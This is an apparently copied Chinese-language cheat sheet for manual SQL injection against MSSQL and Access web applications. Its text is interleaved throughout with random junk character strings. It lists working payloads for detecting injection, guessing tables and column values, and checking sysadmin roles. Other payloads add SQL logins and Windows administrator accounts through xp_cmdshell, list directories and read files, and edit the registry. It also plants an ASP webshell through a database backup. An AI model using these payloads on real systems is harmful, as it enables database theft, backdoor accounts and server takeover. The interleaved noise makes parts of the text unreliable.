手工脚本注入 ( N* c- r# D1 J) Y
1.判断是否有注入;and 1=1 ;and 1=2 9 k+ z( s5 W/ `2 M0 C
: l3 z( m& j, t6 E4 B7 T
2.初步判断是否是mssql ;and user>0 ( }; d/ A9 z0 m0 C+ Q
4 A2 }2 D' e6 y% g" {
3.注入参数是字符'and [查询条件] and ''='
& W2 F3 s9 N' W4 @1 O* v. ]4 x6 H: G: ^% \& F) D
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ) ?" E6 ^# R. A4 X: m7 {! k k2 i
3 t7 \( B+ p4 Y; U0 y, [5.判断数据库系统 ; c; ~2 ? `: l) H$ Q- M
;and (select count(*) from sysobjects)>0 mssql
# j/ I1 B/ J' U) `, ^( R% q" ^;and (select count(*) from msysobjects)>0 access 7 e6 E) ~4 X9 o# e8 x l
. \$ @9 k! z6 p; L: ?4 V( U
6.猜数据库 ;and (select Count(*) from [数据库名])>0 + \# V% W0 _+ v, D/ Q
9 S- B T7 a `( S% e8 i" d# a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6 u3 b! O, m$ d6 e, C# l
7 r. Q- B/ d* y; I2 L' C8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 0 e* O* a" @" G: l: ~. L- [
) e; Z, n" W! N% C/ R9.(1)猜字段的ascii值(access)
4 d! V+ r' U( M;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
5 f) A: Y& h& \+ D2 D( U/ i3 P% s, ]& I7 d% _
(2)猜字段的ascii值(mssql)
& `8 H' d( J, y" ^;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 d- x9 l4 a$ W3 e
9 c0 f! Z& o/ t' V' p1 j10.测试权限结构(mssql)
& x( P$ c& l( j8 w;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 Y/ o, [. \! q, `;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ' l! K V$ f7 C% i j9 m
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
u3 q! `! C- @$ I: S% j;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 ~* I" h# }8 V8 G5 y# R;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- p6 b9 g! N6 K;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- / R- L8 D7 u' d" E
;and 1=(select IS_MEMBER('db_owner'));-- 2 p" o9 f# T1 N ~& D) J% @# C2 E& \8 i
, B+ Y2 m6 v% ~9 E
11.添加mssql和系统的帐户
/ Q: @( ^7 E+ i, B8 l' w;exec master.dbo.sp_addlogin username;--
4 C4 V( _6 u) m
% s- d9 Y# k9 d( l% X1 ]/ |;exec master.dbo.sp_password null,username,password;--
% f+ p- i3 \5 N, a" j3 t; S. P9 Q; `: p" y' f; a0 k! @7 |
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% P$ t# \5 f1 L, D S& A# A' R& n4 J' m7 o ?6 s8 Z2 u
;exec master.dbo.xp_cmdshell 'net user username password # X8 A% U1 S% K3 z. s* D) h
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
* [- L5 G& x" I; m$ T7 G$ e4 E" }% t5 h% H y# g1 N# D/ P4 x8 M$ q
;exec master.dbo.xp_cmdshell 'net user username password /add';--
% d. R0 N9 g* ?; ~* n; r3 K" ~4 N" K, I0 b6 ]
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 W4 {5 x+ G6 p+ s
* P& I; W g$ q* a8 `4 W
12.(1)遍历目录 , y: d2 O k/ l
- f" L D! l1 V+ n% r/ O;create table dirs(paths varchar(100), id int)
4 V+ @1 O; m: t. q: X5 q2 B1 j;insert dirs exec master.dbo.xp_dirtree 'c:\' 3 B4 I3 w8 }) K7 o9 w! a. m
;and (select top 1 paths from dirs)>0 2 m, U7 @( r; j4 _2 F
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ) W: }2 u) Y$ E4 [6 F
9 K5 O0 ^7 T6 J' U+ _/ ]6 T(2)遍历目录
$ g/ w7 e; I7 Z/ V/ l/ X;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ j6 h, G# p, ]) `( F
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
1 N) y$ t% Y: T+ Q1 C;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
4 q. {' l6 S# w: M% K;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7 J2 @" }7 y; ] n' ~' |7 }
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ) J3 i( v7 i4 A4 k7 r
0 D* z A* _7 _13.mssql中的存储过程 . A, A# [# c( [% Y4 O7 B7 c, `- f" j
7 M0 k5 T4 A9 j8 q6 a0 a6 nxp_regenumvalues 注册表根键, 子键
7 D5 x/ ?2 @/ i% C* w;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5 n" W% h; r' b- T& H/ |" h: p
4 L, b+ |1 n$ a; m5 [ p, j
xp_regread 根键,子键,键值名 - w9 \' ^ G$ \! K
;exec xp_regread
% Q. }1 g" x2 G& A9 l'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # ^$ |$ P+ l( f) x+ f( |
; o+ \6 K& }2 Q2 E/ I8 R
xp_regwrite 根键,子键, 值名, 值类型, 值
' F+ X% V: g/ T% g" K& Y3 O/ T W7 k值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ' O4 n# k F* X2 H) p4 v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
" `+ @* ?7 q4 W* c
4 j5 H9 `& V+ j; S3 V; Yxp_regdeletevalue 根键,子键,值名 % u( P0 Z5 `: r( z, f
* l$ {) @4 \) s, ^7 f) B: K5 a; _
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 - c- q6 i# Y/ B8 D$ I+ ^
0 m. F$ r ~+ {: oxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( y( w% I0 E3 t6 M9 Q e; X
/ W* S( S% z3 s0 S$ \; e14.mssql的backup创建webshell ) f+ p3 A# j( i5 i
use model ( `6 v, A6 D/ c$ v
create table cmd(str image);
) F8 M2 y( o7 w8 Jinsert into cmd(str) values (''); 4 B) O5 E* t! L7 ?8 T1 X
backup database model to disk='c:\l.asp';
7 v; S: v: U& B) k( v6 O" ]% n# k N" Y: ?
15.mssql内置函数
$ t' A/ k: @: ]/ F$ D;and (select @@version)>0 获得Windows的版本号 9 C: G' l3 i. j3 A
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 ?7 `" O& G8 O+ c, o, ^2 p
;and (select user_name())>0 爆当前系统的连接用户
7 R) Q, ~0 K+ _# I0 };and (select db_name())>0 得到当前连接的数据库 % m. r1 D/ h4 M* |
, m( T5 F* v+ H( {% C+ B16.简洁的webshell
+ q. b) o9 p+ }$ L- u. V
$ c3 ] A: B8 M! \5 wuse model - s( c* c# N0 I# T5 C5 S2 R7 r |0 \, b7 ]
! J M9 b, C# I, J( @" \( ^
create table cmd(str image);
2 Y6 u6 @* A7 W* B9 t4 Z' z# z- j0 j; ?( ?7 |
insert into cmd(str) values ('');
5 ^# C# D) K4 s) {* ?+ I& Z2 c. x+ B C9 b% {' u4 k* L, Y4 T
backup database model to disk='g:\wwwtest\l.asp';
2 D* F d' \% o+ U , @3 N5 N/ X8 F3 K4 [
|